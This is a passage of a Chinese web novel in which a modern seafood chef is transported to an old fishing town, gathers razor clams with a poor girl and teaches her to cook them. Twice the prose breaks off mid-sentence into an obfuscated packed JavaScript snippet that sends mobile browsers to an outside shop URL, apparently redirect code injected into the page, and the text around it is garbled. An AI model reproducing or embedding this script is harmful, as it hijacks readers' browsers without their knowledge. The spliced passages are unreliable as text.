《渔家四时鲜》 1. 穿越 二十一世纪·海浦镇·西塘关 深夜时分，海神庙里仍有不少老人，乌泱泱的，大家嘴里念诵着，最前头摆了盛祭时才用的全猪全羊大三牲福礼。 而庙门外，喇叭信号不好，刺啦刺啦地响，声音时断时续，来来回回地念，“赤潮警报！赤潮警报——”，夹杂尖锐的鸣笛声，一圈又一圈盘旋。 赤潮包拢了全岛屿，海水成血水，那样红，那样毒，所有检测物严重超标。 在倾倒十几年含有大量有机物的废污水后，海水富营养化，衍生出赤潮。 所到之处海藻疯长，鱼虾贝类被毒死，死去的海洋生物在海岸线堆成墙，几年内无法捕捞。 夜里几百台赤潮清理机在工作，海里是四面八方赶来的货船，运载着几十上百吨的黄土往海里倾倒，黄土能遏制赤潮生长。 这时江盈知开着拖网渔船疾驰在海面，她已经往返一天，没有停歇地运送黄土。凌晨才被人强硬换下来，她的胳膊都是胀痛的。 她穿一身反光衣走在漫天鱼腥臭里，扯下面罩挂在脖子上，手机不停震动，她点开一看，是红姐的信息。 “小满，餐厅我开不下了，停业后你去找下家吧。” 海鲜主厨失业，她沉默地做了简短回复。 耳边是喇叭的播报声，“最新检测，旋沟藻密度已达每毫升四千个，昨天为每毫升两百八十六，” “所有海产品禁止往外销售，一经查处…” “死亡鱼虾不得食用，请拿去销毁点…” 老旧喇叭的滋啦声扰人得很，不远处却传来唢呐的吹打声，江盈知明白，信奉海神的老一辈要请龙王出海了。 一边是新式科技昼夜不眠，一边是被寄托众望的海洋信仰，那样割裂，在海浦镇却又真实上演。 江盈知避让了出行的队伍，踏入了只有零星几人的海神庙，桌上摆了密密实实的贡品。 连日不休的开船出海让江盈知疲惫不已，红姐的信息更让她心里乱糟糟的。大抵昏了头，她给海神娘娘上香时，心里想明天回到以前的望海该有多好。 她没有起身，跪坐在蒲团上，累得没法动弹。 黑暗里，她做了一个漫长的梦，赤红的海水全被涤清，所有的病毒消失不见，海水重新回归蔚蓝，而她身体骤然轻快。 蓝色水波纹闪过，蒲团上的人影渐渐消失。 —— 古代·海浦镇·西塘关 架在海滩上的竹屋里，江盈知扯了扯自己身上的粗布蓝衣，不是昨晚穿的那反光衣。仰头瞧着漏风的屋顶。她双手捂住脑袋，头一点不疼，只是想感受下有没有一涌而进的信息。 当然没有。 她并不是穿书，也没有进入到别人的身体里，她的身体依旧属于自己。 这是江盈知唯一值得庆幸的地方，毕竟她的身体一直以来很好，来月经规律不疼，气血充足，浑身有劲，划那种老式手摇船都能不带歇的。 她慢慢坐起身，竹床响动明显，咯吱咯吱的。 屋里只有个头发剃的溜光，发尾留一支小辫的男娃，头大身体细，穿了件打满补丁的黑色衣服。光着脚靠在门上，把门紧紧护在身后，警惕地看着她。 嘴里含糊不清地念道：“等阿姐回来，回来我才开 。” 江盈知跟他套话，他半点不理睬，还偏了偏脑袋，把后脑勺小拇指粗细的辫子留给她瞧。 虽然这种小孩她一手能提两个，不过江盈知不想吓小孩，主人家没在，她不好乱走，只能坐在床沿左右打量。 屋顶是漏的，草屑掉了满地，江盈知踩踩那竹排架起来的地板，她一动，那草屑就从空隙里划了下去。 用来充当墙板的竹排泛黄稀疏，屋里连门也没有，唯一的一扇门小孩靠在那，嘎吱嘎吱地响。 屋外有了动静，小孩踮起脚抓门上的绳子，开了门后忙不迭地说：“阿姐，阿姐，醒了醒了。” “知道了，海娃你又不穿鞋子，穿鞋子去，”小梅训他，一手提网，另一手挎个篮子，背抵着门先把网拖进来。 她很瘦弱，衣裳宽大到像罩住了她，毛糙糙的头发，扎着麻花辫子。江盈知看清了她的脸，黄黑色，脸庞稚嫩，瞧着十三四的模样。 江盈知起身走出去，帮小梅把一团乱糟糟的网提起来，没说话。 她听小孩说话就知道是海浦的方言，只是变了调，是那种偏老式的腔调。跟现代的有些许不同，她听得懂，有些词靠半蒙半猜，说起来却显得有点磕绊。 小梅将篮子往矮脚桌上放，扭头瞧她，“我叫你阿姐吧，你叫我小梅，你身上还有哪里不爽利？” 江盈知摇摇头，开口道：“叫我小满吧。” 那是她外公外婆给她取的小名。 小梅笑道：“那就好，不然我得请药婆来。” 她可没几个钱，蹲在地上把被竹丝勾住的渔网拉出来，接着道：“可巧我刚去收晒好的渔网，瞧你躺在礁石上，叫也叫不醒。怕巡洋水师来了把你带走，只好叫了人先抬到我家来了。” “又扯了个谎，说你是我本家的表姐，来瞧我，晕了船。” “巡洋水师？”江盈知磕绊地说出这个词，她只在地方志上看过。 小梅偏头瞧她，解释道：“是我们这专管望洋海面和渔船的官兵，” 又问：“小满姐你打哪来的？怎么晕那，连件包袱也无，” 她瞧江盈知生的很高挑，梳着黑辫子，算不上白，眼睛生的尤其好，又黑又亮。她像是小梅心里，平原水乡吃米长大的，不像海边日头晒出来的姑娘。 江盈知还不甚确定这是哪，她便说：“我也是海上来的，这是海浦镇吗？” “是海浦镇，”小梅拿出篮子里硬邦邦的咸鱼干，抹了抹灰，“这里是西塘关，我们也说这是前镇，管城门里住的叫里镇。” 前镇住的都是渔民、商贩，里镇的大多鱼行钱庄酒楼，富户都住那。 小梅说到这把苎麻绳穿进鱼鳃里，又撇撇嘴。前镇的渔民把脑袋吊裤腰带上，一出海要是运道好，几船鱼换得竹屋变渔舍。 运道差遇上风暴，那是十口棺材九口空，运好留个尸身。 渔民常说，三寸板内是娘房，三寸板外见阎王。 可日子苦，仍旧被里镇的鱼行钱庄欺压，一到鱼汛出海期，米价翻两三番。 小梅想着，她家里已经没了米，连糙米都见了底，只剩了一袋番薯丝和干鱼垫肚子。 晚娘（继母）寄来的银钱还了她爹死前留下的债，压根买不起米，她有些发愁。 而江盈知却没有瞥见她脸上的神情，听得发愣，嗡嗡地响，真回到了以前的海浦镇？西塘关，那是海神庙所在的地方。 她这时才隐隐约约记起自己凌晨在庙里说的，想回到以前的望海。 江盈知站起身，她脸上显露出急切，“小梅，我想出去看看。” 海娃蹲在地上玩掷蛤蜊壳，被她吓的一把蛤蜊壳哗啦啦地倒在竹板上，小梅也惊了下，忙说：“海娃你待这玩，我同小满姐出去瞧瞧。” 江盈知跟她赔不是，“想起了些东西来，想赶紧去看看是不是。” 小梅在前头给她引路，几根木头撑起来的竹屋并不好走，往下的楼梯是木板搭的，并不严实，一踩就晃得厉害。 等江盈知踩到了地，跟在小梅身后绕过了破旧的木船，她穿的布鞋底，海滩多沙石，咯的脚底生疼。 她却浑然不觉，站在大礁石上，眺望远处的望海，那是浓得化不开的蓝。 江盈知小时候见过的海，才是这样蓝，后来海水渐黄渐浑浊。直到前几天变成了赤红色，她已经时隔多年没看过蓝海，这是一片没有污染的海。 她闻到了风里的咸湿气，有些恍神。 小梅脱了木屐，光脚爬上礁石，她站在上面，指给江盈知看，“我就是在那片乱礁滩上看到你的。” 江盈知拢了拢鬓边被海风吹到眼前的头发，她回过神，望向那片怪石嶙峋的乱礁滩，她很诚恳地说：“谢谢。” 她眼下还改不了说话习惯，又赶紧描补，字句拼凑得慢，方言她说不大习惯，“多谢你小梅，要不是你搭救了我，” “什么话，不要谢，”小梅脸有点红，她没收到过别人的谢意，此时脸热得慌，小声说：“任是我们西塘关谁见了都会救。” 小梅提着木屐往中间靠了靠，她不想说这些，怪难为情的，便伸手指了指海上偏西的一座岛，“那是晒盐的地方，盐户都住那，衙门管着，鱼汛到了就运盐来，我们管这叫盐仓前。” 江盈知听着，暗暗在心里想，后来这个盐仓前改了名，叫水门岛了，也没人再晒盐，成了旅游团观光的海岛。 小梅很热切，她把海面上浮起的岛屿叫什么，全都讲给江盈知听。 江盈知对这些岛屿陌生又熟悉，远处中央的岛是河泊所同水师一道驻扎的花斑岛。正对渔港，专收渔课（渔税），管海运、船只大小等等。 大伙管那叫铜钱眼 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13483421|142000||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 子岛，只晓得往钱里钻，每到鱼汛就摇着船来收钱，大家只能暗暗咒骂着交钱，宽慰自己那是散灾钱。 这个岛到了后世也没改名，岛上仍留着这两个公所，江盈知去看过一次。 最远处看不清楚的，有铜钱礁，西山岛，以及大小不一的岛屿包围了海浦镇，抵挡外海的风浪和狂风，形成天然屏障。这让海浦镇得以兴旺，成为各府渔船停泊岸口。 江盈知把这时的地方岛屿和以后的两相比较，每一个能对得上，心里陡然觉得蒙蒙的一切都真实起来。 那就是以前的海浦镇啊！ 她那样熟悉，这虽然不是她生活了二十四年的海浦镇，却与她有着蛛丝一样缠绕不断的关系。 这让江盈知到了陌生地界的惶惶不安消退了下去。 小梅回去时问江盈知，“小满姐，你可有去处？没有先暂且留些时日吧，待攒够了盘缠再走也不迟。” 她想小满姐留下，毕竟除了海娃，实在没人跟她说话。 江盈知说想去海神庙看看，也许能有回去的法子。虽说这里的海那般好，可她仍旧想回到现代去，看看赤潮退了没，即使那里已经没有她最亲的人了。 小梅神色有点复杂，张了张嘴，又闭上，想想还是说道：“海神庙有庙官守着。 ” 她同江盈知说：“不是天天能拜神的，除了二月二抬头祭，三月三出海祭外和鱼汛时，寻常时候逢五逢八才能进去。” “还要五个铜钱，算作进庙钱，进了庙必定要买庙里香火纸马才成。” 她不忍心地开口戳穿，“小满姐，你身上可还有银子使费？” 江盈知浑身上下摸不出一个子来，海风从她宽大的衣袖里钻进去，吹的她连带着心都凉飕飕的。 可她是个在哪都能活得开的人，当即脸上有了笑，“这能赶海吗？能赶海就能换些钱，我教你做点吃的卖。” 江盈知想，随便教几个简单治理海鲜的法子，也能够小梅带着弟弟新起个房子吧。 小梅只应了她那句，“能赶小海，鱼获收的并不多，初四到十一是小水，眼下是初五，只能捡些小海鲜。” 赶小海要看潮期，并非日日涨潮，潮水小鱼获少，潮大鱼获才会多。 至于做了吃食来卖，等江盈知见了屋外面的矮灶便说不出话来，这炊虾灶才到她小腿肚。上头有两个孔眼，一口是黑漆漆的砂罐，小梅说那是汤锅，烧水用的。 另一口是铁锅，边上糊了层黏黏糊糊的东西，黑漆漆。水缸在屋里，是接的雨水，有股明矾的味道。 小梅把盖子牢牢盖好，可不能糟践了这水，她说：“不咸的水少，要么去山边溪坑里舀，那路我挑不动，要么去山下井里打，一桶要交两铜板。” 她舍不得花钱，只能等落雨，接些雨水来喝，放些明矾搅一搅就没浑浊气了。 江盈知默默叹气，翻弄着调料，仅有一罐盐和一竹筒油。盐是粗盐，她用手蘸了点，拧了眉，苦咸苦咸的。 至于溶解过滤成精盐，没有纱布工具和万全把握，江盈知不舍得糟践这难得的盐，反正粗盐她一样能用。 至于见底的油，她看了眼，默默盖上油纸，重新用绳子缠紧。 她能在海鲜餐厅一年就混到主厨的位置，鼻子和舌头都灵得很，这油不用看，一闻便知道是粗榨的菜籽油。 芥酸那股味道冲得很，充斥着苦、辣与涩味，练成熟油也不好吃。 还有小梅那一篮子的咸鱼干，都油烧了。 油烧是行话，是干制品变质发酸，咸鱼干腹部和鳃变色，通常是橙黄和赤褐色，吃起来酸苦，还可能会吃坏肚子。 江盈知在后厨要是收到这样的干货，唯一法子就是碾碎倒料桶里，可在这她没法下手。 到了这里半日后，她已经明白小梅和海娃的生活，家中暂且只有这两个人相依为命，很不容易。 而海浦镇山多平原少，淡水少，不适合种稻子，靠天下雨浇灌不切实际。 多是外地运来，价高吃不起。 唯一能吃得起的是在山地也能活的番薯，所以这里最便宜的主粮就是番薯丝。 洗完锅碗，吃了一顿苦咸的番薯丝后，江盈知胃里反酸，五岁的海娃却吃得津津有味，不吃这就得饿肚子。 到了下午，潮涨时分，江盈知左手提着三四个鱼篓，右手拿鱼叉，往外走时说：“走吧，赶海去。” 不用盐和油，只要有海鲜在，她连调料都能自己做出来。 2. 赶小海 赶海要候潮汛，初五是小潮汛，滩涂上海水仍不紧不慢地涌起浪花，拍打岸边。 江盈知很久没有赶过海了，但以前要赶海头一天，她会登全球潮汐上看看，潮水是死汛还是活汛，哪天是巨潮、大潮、中潮和小潮。 不过初一和十五不用看，毕竟海岛上连小孩都知道初一十五两头潮。 死汛期内哪管是中大潮也不赶海，潮汐变化太小，海水极为平缓，鱼虾贝类不活跃，没有多少收获。 活汛期内，尤其是大潮时，海水很活跃，一退几百米上千米，贝类行动迟缓，很多会被留在海滩上。 今天虽是小潮，却也是活汛，小梅脱了鞋子，踩在滩涂湿滑的泥地上，这里的滩涂离她家近，人少，她都是在这赶海的。 要是想去沙滩上，得走完这片滩涂。 小梅把鱼篓牢牢绑在自己腰间，她伸手拉一把海娃，仰头问礁石上的江盈知，“小满姐，你咋不下来？” 江盈知从蔚蓝的海水上移开视线，她说：“我就来。” 她慢慢挽起裤脚，总不好告诉小梅，她已经习惯于现代那样先进的潮汐表。还琢磨着在哪能看见浪高、气压、潮顶、落潮时间等等，见了这些她才有安全感。 全凭感觉，万一潮头打上来都来不及跑。 可当她的脚踩在湿软的滩涂时，咸湿的海风吹打在脸上。像回到了小时候光着脚去海滩，跟一群小伙伴在滩涂上捉跳跳鱼（弹涂鱼）、红钳蟹，挖班螺和泥鱼的场景，又兴致高涨起来。 她想，要是望海没被赤潮污染的话，她夏天也是要去赶海的。 这片滩涂远处有几个人影，近处只有她们仨，毕竟赶海要大早上天不亮收获才多，很少有为了三瓜两枣下晌午来赶海。 江盈知蹲下身，从篓子里拿出竹铲，看看有没有贝类，倒是有拇指大的小螃蟹爬来爬去，几个泥螺。其他的她只挖到了一堆贝壳，沾了满手的海腥气。 却仍笑着放进竹篓里，晚点跟海娃一起玩，她小时候玩掷贝壳也是很厉害的。 除了一堆贝壳外，一只空海螺外，江盈知没有收获，连个蛏子的气眼口都没瞧见。 小梅在另一片滩涂上伸手晃了晃，海浪拍击礁石的声音很大，她说话江盈知听不清，赶紧踩着深深浅浅的泥往那边走。 她到时，海娃正撅着屁股，把手往礁石壁里伸，献宝似地拿出个小海螺来，“螺，烧了吃。” “吃啥哎，”小梅瞥了一眼，“你留着玩，别咬它，仔细坏了肚子。” 这会儿滩涂上爬过几只火红钳子的招潮蟹，江盈知对它没啥兴趣，太小了，要是青蟹还差不多。 “才刚三月初，又是小潮，没啥好的，”小梅踩着泥过来，把自己篓子里的几个蛏子和蛤蜊抖了抖，一把捏出来给江盈知看。 其实她们西塘关的人不爱吃这些，泥沙太多，腥气又重，养鸡鸭的人家会抓些来喂。 江盈知眼睛一亮，她拿过小梅手上的蛏子，见惯了好食材的她，见了这个蛏子也难免有点兴奋。 这不是以后最常见的，头顶伸出两根软管的缢蛏，那基本都是人工养殖的，她手上的这个叫刀蛏，野生的。 缢蛏外壳粗糙，刀蛏却修长，表皮晶莹，肉白而且没有两个头。 以前她都是专门定泗礁那里的刀蛏，海浦本地只有缢蛏，没想到穿到这能碰上品相这样好的野生刀蛏。 而且三四月正是刀蛏最肥美的时候。 她脑子已经从蛏子抱蛋、葱油蛏子、铁板蛏子，转到砂锅蛏子煲、盐焗蛏子。 而小梅以为她不满意，便说：“要不等大潮再来，” “不不，这蛏子很好，多挖点，”江盈知放弃那些不切实际的做法，忍痛说，“多挖点来，我教你做蛏油和蛏干。” 小梅听见油，眼神有了些光彩，“蛏子也能榨油吗？” “不是榨油，是蛏子煮出来的汁水，”江盈知说。 小梅哦了声，虽说心下有些失望，而且她知道蛏子晒干也是满肚沙，却没说些丧气话。 反而忙喊：“海娃，别摸螺子了，你来一起抲蛏子。” 海娃把小海螺兜在自己衣裳上，乐颠颠跑过来，途中还踢了几脚小螃蟹，“我来挖。” 挖蛏子又没有多大技巧，找到气眼口，顺着多铲几下，铲深些就成，有细盐更方便，撒一撮，蛏子就会钻出头来。 这一片滩涂约莫是没人挖，蛏子小蛤蜊特别多，很多直接冒出头，一揪一个，不像以后滩涂被毁的差不多，蛏子要用铲子铲很深才能见到一个。 江盈知捡的畅快，听篓子里的碰撞声都尤为满足。 农历三月初已过清明，虽说蛏子到端午才是肥嫩饱满，味道最好的时候，不过眼下这蛏子肉已经有了八成壮。 这么一个大鱼篓的蛏子，小梅手臂细细，常年吃不饱，压的她弓着腰，双手托着篓子才能使得上劲。 江盈知伸手接过，轻松地提在左手上，而她右手还有两个满满当当的鱼篓。 她走在海浪上，冲小梅笑，“我提得动，你带海娃洗洗手。” 小梅看她，上去牵海娃，自从她娘走了以后，她爹又娶了海娃的娘后，再也没有人管她手上东西重不重。 江盈知和小梅在海里抖干净了蛏子上的泥沙，她舍不得走，好久没见过这样蓝的海，而且是这以前的望海。 最后还是一步三回头地走了。 回到小梅那，小梅从屋顶隔板上掏出个沾满灰的木盆，她有些羞赧地说：“没人用，积了灰，我拿到溪坑里洗洗去。” “我跟你一块去，”江盈知没把篓子拿到屋顶，放到炊虾灶边上，让它把水滴干净。 她朝外甩了甩手，问道：“还有没有大桶？” 小梅不解，指指木盆，意思是这个就够装蛏子的了。 “我给你们挑些水来，”江盈知想着顺手的事，万一她睡一觉能回去了，总要留点啥给小梅。 小梅摇摇头，她说那水桶太重了，提不动的，最后拗不过江盈知，给她找了两个满是灰尘的木桶。 江盈知不在意，“脏点没事，好在没漏。” 出门挑水时，她才发现，小梅住的地方离其他人家很偏，孤零零的一座竹屋靠在山脚下。 “怎么住这么远？”江盈知走上了山道，侧过头问小梅。 小梅两只手握着木盆，正卖力往上走，闻言有些楞，看了眼走在前头的海娃，才小声说：“我爹那时生了买柴病，怕过人，就搬出来住了。” 说完便不敢看江盈知的眼睛。 “这是什么病？”江盈知抬了抬两只桶，她在琢磨这是个啥病，哪来这样稀奇古怪的病。 小梅见她真不知，暗暗松了口气，咬着唇，最后仍决定说给她听。 江盈知听明白了，原来以前海浦管疟疾叫买柴病，毕竟得了这病会浑身发冷，要买好些木柴来烧取暖才能驱寒。 她登上了一个台阶，宽慰道：“人吃五谷杂粮，免不得要生病。” 小梅从没听过这样的话，大伙说起只会说是命不好。 没再多说，就见山中滚滚飞溅的流水，汇聚成一个湖泊，海娃大叫，“海到山里来了。” 小梅笑，“又在那乱说。” 江盈知去舀水，她叫小梅，“这儿我来，你去弄些干草和柴。” 小梅没答应，本来人家就是来帮她的，哪有甩手去干轻省活计的。 等洗了盆，把水给舀上，再捡了些干草和柴，天边已布满霞光。 江盈知肩膀挑不动扁担，压得疼，只能用软草缠在把手上，一只手提一个大桶，满满当当的水，只有些许撒在山路上。 那力气，看的身后的小梅目瞪口呆，抱着盆子的手也有劲许多，人家提的比她可重多了。 回了窄小的竹屋后，江盈知取了篓子，蛏子哗啦啦倒进盆子里，她伸手拨了一把，没有烂的，问小梅，“有没有铁的东西？” “要锈铁是不是，剪子行不行？”小梅从一堆破烂里翻出个剪子，剪头生了一点铁锈。 江盈知觉得差不多，把剪子扔进蛏子和贝壳堆里，倒水的功夫跟小梅说：“贝类的这些小海鲜，它们一闻到铁的味道，就会吐出沙来。” “放把剪子，小铁块都成，两个小时，”江盈知改口，“一个时辰就能吐完沙了，别浸太久，蛏子也会瘦的。” 这个法子比放油和盐泡一天要好用得多，但铁器不能生满锈，最好就带一丁点，铁锈人是能吸收的，过多会造成负担。 江盈知细细跟小梅讲清楚。 小梅半信半疑，以前她们还试过猛晃蛏子吐沙，壳碎了，肉里还有沙子在。 要等一个时辰才能熬蛏油，小梅在吹虾灶前煮番薯丝，江盈知拢了拢干草堆，她问道：“有没有梯子？” “你那顶漏了，我上去修修，”江盈知自打见了漏的屋顶，便很操心，海浦镇多阴雨，说不得啥时候就 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13483422|142000||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 刮过来一场雨。 她攥起一把干草把篓子里塞，顺嘴道：“再找找有没有破渔网，挂在屋顶棚上，风刮来也吹不走。” 海边多台风，以前她跟外公外婆住的是瓦片屋，一刮那瓦片刷刷往下落，外公会拿着破渔网盖在屋檐上，用石头压住，瓦就不会掉了。 小梅和海娃扶着梯子，小梅心惊胆颤，每隔一会儿要喊一句小满姐，生怕屋顶的人摔了下去。 但是江盈知手脚快，漏掉的就那么几处，补完慢慢往回拉网，用石头压住，赶上天黑弄完了。 她扶着梯子慢慢爬下来，笑了笑，脸颊有个小窝，她道：“这样雨哪天来都不怕了。” 小梅眼圈有点红，她也露出笑来道：“确实不怕了。” 正好锅里的番薯丝也煮好了，天黑下来，海风转陆风，从山脚起往竹屋门上吹。 屋子四面漏风，晃的油灯影子在墙上东倒西歪。江盈知蹲在木盆前摸蛏子，仍在想这样好的刀蛏，要是配了花雕酒做倒插蛏，滋味不晓得有多好。 可惜要用来熬蛏油。 海娃也摸，自打江盈知跟他玩了掷贝壳后，他就同江盈知亲近许多，含含糊糊叫她满满姐。 屋外小梅烧了灶，探进头来问，“小满姐，好了没？” 江盈知说：“一道来剥壳。” 蛏子叫滚水烫过，又过一遍冷水，便能不粘连，扯掉那些黑线，剥出肉来就好。 油灯放在矮竹凳上，呛烟味熏的江盈知偏过脸，手上动作却快，用手指捏住剥壳取肉。 炊虾灶上的汤锅笃笃响起时，一盆蛏子才剥完，小梅甩甩胳膊，海娃趴在长凳上睡着了。 等把海娃送到屋里，江盈知压低了声，“得要熬好久，你撑不撑得住。” 小梅说：“那明儿晚些起，我们起早了也没饭吃的。” 一天只吃两顿饭，晚些起就能少挨点饿。 江盈知轻拍她的脊背，“等你学会了，也许能换些东西来。” 小梅并不指望，在岛上除了出海捕捞到的大海鲜，如墨鱼、大黄鱼、鳓鱼这些，用蛏子蛤蜊这种小海鲜，是换不来粮食的。 锅里蛏子沸腾翻滚，小梅撤了些火出来，江盈知把煮熟的蛏子捞出来，等不烫了一个个晒在席子上，晒几天就是蛏干了，不管干嚼还是放汤都很鲜美。 就算是切成小粒，放番薯丝汤里，也能增色不少。 “熬蛏油就用这煮蛏子的水熬，”江盈知嘱咐，舀出两勺汤倒进土陶罐里，要小火慢煨，等汤见底，再添新汤，两勺两勺地添。 江盈知强忍着睡意，时不时用油灯凑过去瞧瞧，“这本来要等天亮才好熬的，看得清。” 此时蛏汁渐渐浓稠，小梅嗅到一股香气，她香得打了个喷嚏，揉揉鼻子说：“得夜里熬，太香了，白天有人会从这过。” 风吹的这一小地方全是香味，那股由稀薄在小火里熬成黏稠的香。 用土灶江盈知把握不好火候，只能一点点撤出火来，教小梅，“下回好没好，你用筷子插到蛏油里，看看稠不稠。” 她这会儿筷子上的蛏油缓慢流下，滴成小圆珠，像流动的蜂蜜，熬的正正好。 顺手把筷子倒拿着给小梅，怂恿她，“快尝尝。” 小梅接过舔了舔，明明什么也没放，却出奇得鲜，忍不住又尝了尝，唇齿都是鲜的，她从来没吃过这么好吃的东西。 “以后抲到小鱼，”江盈知用木盖盖在陶罐上，她捶了捶背，坐下来说：“把肚肠扯掉，抹点盐，塞些姜片煎，再蘸点蛏油，比番薯汤要好吃。” 蛏油用处可多了，江盈知会用来做蛏油浸肉、海鲜烩面，凉拌、腌制或是放汤都别有鲜味，眼下却只能挑个简单的来说。 她想想又道;“你的盐潮了，发苦发的厉害，寻个干净的东西倒出来晒一晒。” “非要吃咸鱼干的话，多加点蒜，不好切就用姜汁和油抹一下刀片，再硬都能切断。” 她觉得也许睡着后能回去，絮絮叨叨教给小梅好多法子，说的人都犯困了。 江盈知不清楚自己是什么时候睡过去的，一觉醒来，她仍在这里，看来还是得去海神庙看看。 她也不难过，想着早起去海边挖蛏子，再上山砍竹筒来，正好能做顿倒插蛏，顺便赚些钱来。 江盈知很明白，过好今日比担忧明日更重要。 不管眼下在哪个地方，日子有多么困苦，都不妨碍她要好好生活。 3. 倒笃蛏 清早的海风低拂，江盈知坐在礁石上，看到太阳从远处升起，海面波光粼粼。 她才踩进浅水里，大清早提着两篓蛏子走在滩涂上，回去把蛏子浸了水后，拿过门边的柴刀，掂了掂。 别在腰间，找了条苎麻绳和竹筐，上山去了。 海岛有竹子的不多，海浦镇也只有靠海有溪流的山有毛竹，长的不如雨水多的地方好。 江盈知砍竹子不在行，靠着力气足够，勉强砍断，认能吃的东西却很在行，在山里找到一丛野蒜。 说是野蒜，其实好些人管它叫野葱，吃起来有葱味，味道却比小葱要辛辣得多，香气更足。 江盈知拔了满满一篮子，抖抖土，野葱凉拌或是炒鸡蛋都很合宜，她喜欢跟虾烧着吃，野葱干锅虾。 或是做海鲜饼，还有葱烤鲚鱼，刺虽多却喷香。 她蹲在山涧处手脚麻利地洗野葱，剥掉葱头的外皮，露出雪白的圆头来。她琢磨着咋吃，以前不管山野菜还是海鲜，她都要趁最鲜活的时候吃。 这会儿却想着晒干，腌起来，或是多采些，野葱也能用来做梅干菜。 江盈知一手胳膊挎篮子，一手拖竹子，竹子打在石阶上，叮叮咣咣响了一路。 到了竹屋拐角处，只见小梅在海滩上张望，她喊了声，“小梅。” “小满姐，”小梅转过头，看见她后，骤然松了口气，“到处找不到你，还以为你家去了。” 江盈知笑笑，“只怕还要麻烦你些时日。” 小梅摇摇头，“算不得麻烦”，又看了眼她手里的篮子，见绿油油的，以为是葱，忙说：“昨日不是说了姜蒜，我去我大伯娘家中换了点。” 是些干瘪的姜，蒜头倒还好，没有生出绿芽来。 小梅把盐罐拿出来问，“这潮了？” “潮了，要拿去外头晒透，”江盈知说，“昨晚上的蛏干也得晒。” 她说完很狼狈地把头伸到一边，烟呛的她咳嗽了好几声，她没烧过土灶，压根烧不着，竹子做的吹火筒不好用。 小梅又喊海娃下去晒东西，叫他在礁石上守着。 江盈知忙着生火，后头有人走过来，她还以为是小梅，却没想到开口的是道粗哑的女声，“你打哪来的？” 她在淡淡烟雾中抬头瞧过去，是个包着蓝头巾，皮肤黝黑的女人，生的脸大胳膊粗，看起来有些凶神恶煞。 “打南边的海上来，你是？”江盈知疑问。 女人叫王三娘，她将手里的桶子蹬地放在竹板上，声音不冷不热地说：“我是小梅大伯娘，来瞧瞧你。” “她个小娘（女孩），哄了我说你是她姆娘家那的，”王三娘用火钳子在灶里拨了几下，火瞬间蹿上来。她瞥了眼江盈知，转过身把一桶小杂鱼倒进盆里，在鱼哗啦乱跳时又开口，“她那个姆娘哪有啥亲戚。” 江盈知没出声，以为王三娘会赶她走，不料人家只问她，“是不是坐了黑心眼子的航船来的，包袱也被人撸了去？” “那帮黑心烂肺的东西，”王三娘见她不说，便暗暗骂了句。她瞧江盈知眼睛亮，生的也秀致，听小梅说了做的事，是个热肠子的人。 她便说：“没地去你就先住着。” 还不至于赶个小姑娘走，且小梅带着海娃住这她也不放心，王三娘心下思忖。 她看了眼另一个盆里的蛏子，满肚包沙的东西，连这东西也吃，属实是饿昏了头。她硬邦邦地说：“你吃不吃鱼，烩锅杂鱼，” 小梅在后面喊，“大伯娘,你怎么来了？” 说完又立即看江盈知。 江盈知已经瞧出这位大娘是个嘴硬心软的，当即笑道：“大伯娘，我吃杂鱼汤。” “那你别占着地，”王三娘没好气地开口，又瞅了小梅一眼，“来收拾鱼。” 她拿的都是些网来的小海鱼，江盈知也蹲下身瞅了眼，叫不上名儿来，活蹦乱跳的。要是炖一锅只放盐，再加几只沙蟹，掺点虾，倒点蛏油，那滋味绝佳。 别看王三娘叫海风日日吹着，劳累使她变成五大三粗的黝黑模样，可手却灵活得很。拿着把鲞（xiǎng）刀，三角尖头的，轻巧地在鱼肚子上划拉一刀，再扯出鱼肚子里的肠扔到一旁去。 小梅跟江盈知嘀咕，“我伯娘是做鲞的一把好手。” 鲞是鱼类干制品的称呼，江盈知只买现成的鱼鲞，却也知道做这行的不易，干久了的手都是裂的。 王三娘处理完杂鱼，将手在水里搓了搓，用身上围着的腰巾反复擦鲞刀，套个布袋子收好。 才提了一堆杂鱼洗了洗，倒进锅里，她生着火，吩咐小梅，“同你大伯说句去，叫他自个吃点锅里的咸鱼蒸饭。” 海岛人家吃的重盐重咸，不然觉得浑身没力气，拉船都得腿脚酸抖。 小梅不敢吱声，她又争不过大伯娘，只好快快去了。 王三娘见江盈知往竹筒里放蛏子，一个个竖插进去，摆的密密实实，又放姜片，撒一撮盐上汤锅隔水煮，不免眉毛一皱，做什么花样子。 只她也没多说，用木铲在锅里搅着杂鱼，忽地闻到了股香，她往锅里鱼汤看去，沸都没沸，还留有腥气。 哪来的香？ 瞥见旁边汤锅里笃笃的响声，白气滚滚，凑近一闻，委实香。 江盈知见她瞧过来，拿下汤锅，拨开竹筒上盖着的竹片，虽没有老酒，她便添了点蛏油，加之小火慢沸时蛏子渗出的汁水，凑的近一点，全是这股味。 倒插蛏也叫倒笃蛏，吃的就是原汁原味。 她夹了个热蛏子给王三娘，“伯娘，你剥个尝尝。” 王三娘撇开头，这味香是香，可一想到那肉里夹沙便倒胃口，适时小梅回来，她尝过了蛏油的味道，自然晓得那其中的好。 也不顾烫，呼呼吹了几口气，两手拿过蛏子剥了壳，忙把那又白又滑的蛏子塞进嘴里，半点腥气也无，一咬牙齿磕破了肉，汁水便钻了出来。 